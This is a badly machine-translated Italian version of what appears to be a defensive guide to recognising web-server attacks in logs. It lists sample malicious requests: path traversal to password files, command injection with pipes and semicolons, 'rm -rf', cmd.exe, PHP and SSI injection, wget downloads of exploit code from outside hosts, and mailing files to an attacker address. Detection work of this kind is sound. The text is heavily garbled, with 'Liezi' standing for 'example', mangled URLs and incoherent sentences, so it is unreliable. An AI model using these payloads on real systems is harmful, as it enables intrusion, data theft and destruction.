I. Sintesi
II. Una descrizione dettagliata dei
III. Ulteriormente
IV. Analysis spillover
Transcodifica V.
VI. Conclusione
[] Abstract
Il web site porta di default da 80 a servire sul suo vari problemi di sicurezza hanno il rilascio fuori, these vulnerabilità in alcuni anche permettere a un aggressore di ottenere privilegi di amministratore negli scambi intracomunitari, sito, i seguenti sono attack mode Zenomorph sul numero di porta di 80 marchi di ricerca, e ti dico come trovare i problemi del record di log.
[Dettaglio]
Qui, in parte attraverso una serie di display Liezi su server Web e le applicazioni sul loro attacco generale, e la loro segni lasciati da questi modo rappresentativo Liezi solo l'attacco principale, e nessun elenco di tutte le forma di attacco, questa parte sarà descrizione dettagliata del ruolo di ogni attacco, e il suo modo di sfruttare queste vulnerabilità per attaccare.
(1) "." ".." E "..." richiesta
Tracce di questi attacchi sono molto comuni per le applications web e server web, che ha utilizzato per consentire ad un malintenzionato o un programma worm-virus a change percorso del server Web, a gain accesso alle aree chiuse. La maggior parte dei programmi CGI con questi difetti, ".." richiesta.
Esempio:
http://host/cgi-bin/lame.cgi?file=../../../../etc/motd
Questo mostra la richiesta attaccante Liezi mosd questo file, se l'attaccante la svolta capacità web directory root server, quindi ottenere maggiori informazioni e per ottenere ulteriori privilegi.
(2) "%" richiesta 20
20% è il valore esadecimale che i 16 spazi, anche se questo non significa che si può usare qualsiasi cosa, ma quando si visualizza il registro lo trovare, alcuni application server web in esecuzione su questo personaggio può essere efficacemente attuata Pertanto, è necessario esaminare attentamente il log. D'altra parte, la richiesta può talvolta aiutare a eseguire alcuni comandi.
Esempio:
http://host/cgi-bin/lame.cgi?page=ls% | 20-al
Questa mostra Liezi utente malintenzionato di eseguire un comando Unix, elencando l'intero catalogo dei documenti richiesti, causando il malintenzionato di accedere ai file importanti sul sistema, per aiutarlo a fornire ulteriormente le condizioni per ottenere i privilegi.
(3) "%" richiesta al 00
00% ha detto che il esadecimali a 16 byte vuoto, era in grado di ingannare l'applicazione web, e richiedere diversi tipi di file.
Esempi:
http://host/cgi-bin/lame.cgi?page=index.html
Questa può essere una richiesta valida in macchina, se un aggressore a conoscenza di questa richiesta ha avuto successo, ha ulteriormente look per le procedure di CGI.
http://host/cgi-bin/lame.cgi?page=../../../../etc/motd
Forse il programma CGI non accettare questa richiesta perché è la richiesta di verificare il suffisso del nome file, come ad esempio: tipi html.shtml o altri file. Maggior parte dei programmi vi dico il tipo di file richiesto non è valido, questo tempo che ci dirà l'attaccante chiede il file deve essere un personaggio di un suffisso tipo di file, so uno malintenzionato può get il percorso di sistema, il nome del file risultante in il tuo sistema di informazione più sensibili
% 00html http://host/cgi-bin/lame.cgi?page=../../../../etc/motd
Attenzione a questa richiesta, si imbroglio programma CGI che questo documento è quello di determinare i tipi di file accettabile, alcune applicazioni delle ispezioni efficaci come file di richiesta di stupido, che è comunemente usato i metodi del malintenzionato.
(4) "richiesta" |
Si tratta di un carattere pipe, in il sistema Unix, uno richiesta di aiuto nell'attuazione di alcuni comandi di sistema al tempo stesso.
Esempio:
# Access_log | grep-i Cat ".."
(Questo comando visualizzerà il registro nella richiesta ".., comunemente usato negli attacchi e vermi trovati)
Spesso che molte applicazioni web con questo carattere, questo porta anche a falsi allarmi nella IDS log.
In un attento esame della vostra applicazione, così il vantaggio di ridurre i falsi allarmi nei sistemi di rilevamento delle intrusioni.
Ecco alcuni Lieh-tzu:
http://host/cgi-bin/lame.cgi?page=../../../../bin/ls |
Questo comando richiesta, i seguenti sono alcuni cambiamenti in Liezi
http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%% 20-al | 20/etc
Questa richiesta è elencata nel sistema unix directory / etc di tutti i file
% Http://host/cgi-bin/lame.cgi?page=cat 20access_log% | grep 20% i 20 "lame"
Il comando cat richiesta l'esecuzione e l'attuazione del comando grep inoltre, controllare le "lame"
(5) ";" richiesta
Nei sistemi Unix, questo personaggio consente a più di esecuzione a riga di comando
Esempio:
Id #; uname-a
(Attuazione del comando id, seguita dalla realizzazione del comando uname)
Alcune programma web con questo personaggio, possono provocare il tuo IDS registra un avviso di guasto, è necessario verificare attentamente il programma web, in modo da ridurre il rischio di fallimento di avvisi IDS.
(6) " " e "richiesta"
Dovrebbe controllare i log registrano i due personaggi, una serie di motivi, il primo è il carattere che i dati aggiunti nel documento
Esempio 1:
# Echo "il tuo hax0red H0 H0" / etc / motd (richiesta motd informazioni scritte in questo documento)
Un utente malintenzionato può facilmente utilizzare la richiesta come sopra manomissione tua pagina web. Come per esempio il famoso RDS sfruttare l'attaccante viene spesso utilizzato per modificare la pagina web.
Esempio 2:
% Http://host/something.php=Hi 20mom% 20Im% 20Bold!
Html si noterà che il linguaggio dei segni qui, ha anche speso " "," " caratteri, tali attacchi non possa provocare la malintenzionato di accedere al sistema, la gente confusa che questo sia un legittimo informazioni sui siti Web (che conduce a La gente visita questo link per visitare il malintenzionato di impostare l'indirizzo, la richiesta può essere codificato in 16 caratteri esadecimali nella forma, in modo che le tracce di attacco non è così ovvio)
(7) "richiesta"!
lingua comune a questo personaggio richiesta SS (Server Side Include) mi attacco, se l'aggressore è un attaccante confondere l'utente fa clic sul link set, e la stessa di sopra.
Esempio:
http://host1/something.php =
Il Lieh-tzu è un utente malintenzionato potrebbe fare in un file sul sito del host2 from host1 appare sopra (ovviamente, richiede ai visitatori di visitare le impostazioni di connessione dell'attaccante. Tale richiesta può essere convertito in 16 codifica esadecimale maschera, non facilmente reperibile)
Allo stesso tempo, questo approccio può anche eseguire il comando dell'autorità sito web
Esempio:
http://host/something.php =
Il Lieh-eseguire sul sistema remoto comando "id, verrà visualizzato l'ID utente del sito web, di solito è" nessuno "o" www "
Questo modulo permette anche di includere i file nascosti.
Esempio:
http://host/something.php =
Il file nascosti. Htpasswd non verrà visualizzato, Apache si rifiuta di stabilire regole tali. Ht il modulo di richiesta, e il logo SSI aggirare tali restrizioni, e condurre a problemi di sicurezza
(8) "richiesta",
Tali attacchi utilizzato per tentare di inserire in remoto con procedure di applicazioni web PHP, essa può permettere agli ordine di esecuzione a seconda delle impostazioni del server, e altri fattori al lavoro (come ad esempio PHP è impostato in modalità sicura)
Esempio: http://host/something.php = passthru ("id ");?
In alcune applicazioni php semplice, può essere al sito web sui diritti degli utenti remoti di sistema per eseguire il comando locale
(9) "` richiesta "
Questo personaggio poi utilizzato per eseguire comandi in Perl, i caratteri della applicazione web spesso non è utilizzato, quindi se lo vedete nel vostro log, dovrebbe essere molto attento
Esempio:
http://host/something.cgi = `id`
Scrivere un programma Perl CGI in questione porterebbe alla realizzazione del comando id
[] Altri
La sezione seguente discutere l'attuazione di nuovi attacchi potrebbero comando, insieme ai documenti richiesti, e se avete un telecomando difetto esecuzione dei comandi, dovrebbe essere come controllare la scoperta. Questa parte è solo per darvi una buona idea, e dire al sistema ciò che sta accadendo, gli hacker cercano di attaccare il sistema di tracce, ma non elenca tutte le malintenzionato di utilizzare i comandi e le richieste.
"/ Bin / ls"
Questo comando richiede il percorso intero, in applicazioni web molti hanno questa scappatoia, se si accede in molti luoghi tale richiesta, è possibile per la grande vulnerabilità di esecuzione di comandi remoti, ma non necessariamente un problema può anche essere un falso allarme. Ancora una volta ricordato, applicazione web scritta (cgi, asp, php ecc ...) è la base della sicurezza
Esempio:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls% | 20-al
http://host/cgi-bin/bad.cgi?doh=ls% 20-AL;
"Cmd.exe"
Questa è una finestra della shell, if a un utente malintenzionato di accedere ed eseguire questo script nelle impostazioni del server sotto le condizioni ammesse nella macchina windows può fare nulla, un sacco di vermi is through porta 80, la comunicazione alla macchina remota
http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:
"/ Bin / id"
Si tratta di due file binari, i suoi problemi e / bin / ls, like, se si log in luoghi many questo request, è possibile per l'esecuzione Command large remote della vulnerabilità, ma non necessariamente un problema può anche essere un falso allarme.
Esso mostra che parte appartiene a utenti e gruppi che
Esempio:
| Http://host/cgi-bin/bad.cgi?doh=../../../../bin/id
http://host/cgi-bin/bad.cgi?doh=id;
"/ Bin / rm"
Questo comando è possibile eliminare i file senza l'uso corretto è molto pericoloso
Esempi:
Http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm% 20% 20-rf * |
% Http://host/cgi-bin/bad.cgi?doh=rm 20-rf% 20 *;
"Wget e di" comando tftp
Questi comandi sono spesso l'utente malintenzionato può ottenere ulteriori privilegi per scaricare i file, wget è un comando UNIX sotto, può essere utilizzato per scaricare backdoor, tftp è sotto il comando UNIX e NT, è usato per scaricare il file. Alcuni worm si diffondono da IIS tftp di copiare il virus ad altri host
Esempi:
Http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget% 20http: / / host2/Phantasmp.c | http:// host / cgi-bin / bad.cgi? doh =% wget 20http: / / www.hwa-security.net/Phantasmp.c;
"" Comando cat
Questo comando viene utilizzato per visualizzare il contenuto del file of, utilizzato per leggere le informazioni importanti, ad esempio come file di configurazione, file di password, file e credit documents si può pensare di
Esempi:% http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat 20/etc/motd | http://host/cgi-bin/ bad.cgi? doh =% cat 20/etc/motd;
"" Comando echo
Questo comando utilizzato per scrivere dati nel file come "index.html"
Esempi: http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo% 20 "fc-kiwi #%"% 20was% 20here 20 | 200day.txt% http://host/cgi-bin/bad.cgi?doh=echo% 20 "fc-kiwi #%"% 20was% 20here 20 200day.txt%;
"" Il comando ps
Elenca il processo attualmente in esecuzione, l'attaccante dire che un host remoto che esegue il software in order per avere qualche idea delle questioni di security, per ottenere ulteriori autorizzazioni
Esempi: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps% | 20-aux http://host/cgi-bin/bad. cgi? doh ps =% 20-aux;
"Kill e comando" killall
sistemi Unix, al fine di uccidere questo processo, un utente malintenzionato può utilizzare questo comando stop per i servizi di system e processes può anche cancellare le tracce del pirata of, alcuni exploit si produce uno dei lot i processi figlio
Esempi:% http://host/cgi-bin/bad.cgi?doh=../bin/kill 20-9% 200% | http://host/cgi-bin/bad.cgi?doh=kill 20 -9% 200;
"" Comando uname
Questo comando dice l'attaccante il nome del computer remoto, per qualche tempo, attraverso questo sito web al fine to sapere quali ISP, uno attacker who può be oggi visitabili. Uname-a alla richiesta di norma, questi verranno registrati nel file di registro
Esempi: http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname% 20-a http://host/cgi-bin/bad |. cgi? doh = 20% uname-a;
"Cc, gcc, perl, python, etc ..." compilazione / interpretazione del comando
Attaccante tramite wget o TFTP download sfruttare e utilizzare il cc, il compilatore gcc per compilare questo in un programma eseguibile, e privilegi di accesso ulteriore
Esempi: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc% 20Phantasmp.c | http://host/cgi-bin/bad. cgi? doh gcc =% 20Phantasmp.c;. / a.out% 20% p 2.031.337;
Se si visualizzano i registri si trovano in "python perl" Queste istruzioni possono essere un attaccante remoto di scaricare perl, script Python, e ha cercato di ottenere i privilegi di locale
"Mail comando
Gli aggressori usano spesso questo sistema di comando, alcuni importanti documenti alla casella di posta proprio l'attaccante, ma anche disposti a e-mail attentati sono svolte
Esempi:% http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail 20attacker@fuckcnhonker.org% 20
2.168.22.1;
"Chown, chmod, chgrp, chsh, ecc ..." e altri comandi
sistemi Unix, per consentire loro di cambiare i permessi dei file
chown = consente di impostare il proprietario del file chmod = permette di impostare le autorizzazioni di file chgrp = consente al proprietario di cambiare i permessi del gruppo sui file chsh = permesso di cambiare la shell dell'utente
Esempi:% http://host/cgi-bin/bad.cgi?doh=../../../../bin/chmod 20.777% 20index.html | http://host/cgi-bin/ bad.cgi? doh =% chmod 20.777% 20index.html; http://host/cgi-bin/bad.cgi?doh=../../../../bin/chown 20zeno%% 20 / etc /% master.passwd http://host/cgi-bin/bad.cgi?doh=chsh | 20/bin/sh; http://host/cgi-bin/bad.cgi?doh=../. . / .. / .. / bin / chgrp% 20nobody% | 20/etc/shadow
"/ Etc / passwd file"
Questo è il file di password del sistema, la usually ombra off, e non è permesso di vedere le password criptata, but il erano di costruzione speaking, what we possiamo sapere è efficace visitatore e il sistema di absolute path names site di informazioni, ecc, come Tong Chang da shadow off, così l'attaccante normalmente vedere file / etc / shadow
"/ Etc / master.passwd"
Questo file è il file system BSD password, contiene la password criptata, i file della root è solo lettura solo, and Alcuni attaccanti non qualificati aperto il suo tentativo di leggere il contenuto all'interno., Se il sito è i privilegi di root per eseguire, quindi l'attaccante è, siamo in grado di leggere il contenuto all'interno, un sacco di problemi su l'amministratore di sistema si susseguono
"/ Etc / shadow"
Contiene un sistema di password criptata, leggere lo stesso su l'account di root, e / et / master.passwd quasi
"/ Etc / motd"
Quando gli utenti accedono al sistema Unix, l'informazione appare, in il "Messaggio del giorno" del file, esso fornisce importanti informazioni di sistema e amministratore del some users di set, gli utenti che desiderano vedere coloro che non sono, contiene anche le informazioni sulla versione di sistema, l'attaccante di solito visualizzare questo file per vedere che cosa il sistema è in esecuzione, l'attaccante, il passo successivo è la ricerca di questo tipo di sistema, sfruttare, ea seguito di obtain privilegi di sistema
"/ Etc / hosts"
Il documento fornisce indirizzo IP e la rete di informazioni, un utente malintenzionato può imparare di più sulle impostazioni di rete del sistema
"/ Usr / local / apache / conf / httpd.conf"
Questo è un file di configurazione del server web Apache, un utente malintenzionato può capire, come la CGI, SSI e altre informazioni sono accessibili
"/ Etc / inetd.conf"
Questo è the file di configurazione servizio inetd, un utente malintenzionato può imparare la macchina remota, start tali servizi, se utilizzare il wrapper per controllare l'accesso, il wrapper if was found in esecuzione, un utente malintenzionato il prossimo passo sarà check "/ etc / hosts.allow" e "/ etc /" hosts.deny, file, e che possono modificare alcune impostazioni, i privilegi di accesso
". Htpasswd,. Htaccess e. Htgroup"
Questi file sono tipicamente utilizzati per l'autenticazione degli utenti del sito web, un utente malintenzionato potrebbe visualizzare questi file, e ottenere uno user name e password, il file di password. Htpasswd is crittografato, rompere con qualche processo di decrittografia simple, allow a un utente malintenzionato di accedere al sito aree protette (in genere l'utente con lo stesso nome utente e la password, l'utente malintenzionato può visitare anche conto di altri)
"Access_log e error_log"
Questi sono i file di log del server Apache, gli hacker spesso visualizzare questi file, esaminare tali richieste vengono registrati, e quelle altre richieste di luoghi diversi
In genere, l'attaccante verrà modificato in questi file di log, such come la sua propria informazioni di indirizzo, l'utente malintenzionato attraverso la porta 80 tramite il sistema e il sistema di backup anche non funziona, non c'è altro registrazione del programma status Sistema di registrazione, which would rilevamento delle intrusioni diventa molto difficile da lavorare
"[] Drive-lettera: winntrepairsam._ o [drive-letter]: winntrepairsam"
File di Windows NT password di sistema, se il comando remoto non può essere attuato, in genere aggressori will request questi documenti, poi "crack l0pht" del tipo di password cracking strumenti per rompere, se l'aggressore cerca di attaccare il file password dell'amministratore, se successo, allora la macchina remota sarà l'attaccante ottiene il controllo
[Overflow analisi]
In questo articolo non voglio dire troppo circa l'overflow del tema, mi darà cosa quei fenomeni e le tracce di notevole interesse e di particolare, un buffer viene spesso attaccato dalla conversione di codice attaccante e difficile da trovare altri modi per ottenere
Ecco un semplice Lie Zi
Esempio: http://host/cgi-bin/helloworld?type=AAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA aaaaaaaaa AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA
Questo Liezi mostra il pirata su una richiesta di inviare un sacco di A carattere, per testare il programma un overflow del buffer, buffer overflow può ottenere un comando remoto permissions host execution, se lo è, ed è proprietà di un programma di root setuid, through il troppo pieno, possono accedere al sistema, se non come programma setuid, allora l'overflow è solo eseguendo diritti degli utenti del sito web
Qui non si può dire tutte le circostanze, ma you regolarmente controllare i file di registro, se tale giorno suddenly trovato un sacco di domande, ma di solito non superiore a tale domanda, essa significa che sono oggetto di attacchi di overflow, ovviamente, può anche essere Una nuova rete di attacco worm
[Transcodifica]
Tutti gli attacchi di cui sopra richiesta, l'attaccante sa che in genere sistemi IDS richiesta controllare spesso meccanica, di solito l'attaccante userà i dati strumento di conversione per convertire il formato richiesto content 16 band, risultante in IDS sarà ignore queste requests, Siamo a conoscenza della vulnerabilità CGI strumento di scansione che è un bene Liezi Whisker. Se si visualizza il registro del tempo ha trovato un gran numero di 16-band, e non alcuni caratteri comuni, quindi l'utente malintenzionato potrebbe tentare di utilizzare alcuni dei modi per attaccare il vostro sistema
Un modo veloce è il log file di richiesta per those esadecimale 16, copiarlo a your browser, il browser può be trasformato in diritto la richiesta, ed ha disposto le of contenuto della richiesta, se non si coraggio di correre questo rischio, un semplice uomo ASCII, in grado di fornire il codice corretto.
[Conclusione]
Questo articolo non può coprire tutte le 80 porte dell'attacco, ma la maggior parte sono stati citati più l'attacco generale, e dirvi come per controllare i file di log e come aggiungere, come il numero di regole IDS, scrivere il suo obiettivo è quello di Web amministratore di sistema deve essere preoccupato per quello che un buona idea, al tempo stesso, Spero che questo articolo aiuta a sviluppatori web Web del programma per scrivere meglio i programmi
DI NOTA: Se avete commenti e suggerimenti, potete inviare una admin@cgisecurity.com e-mail.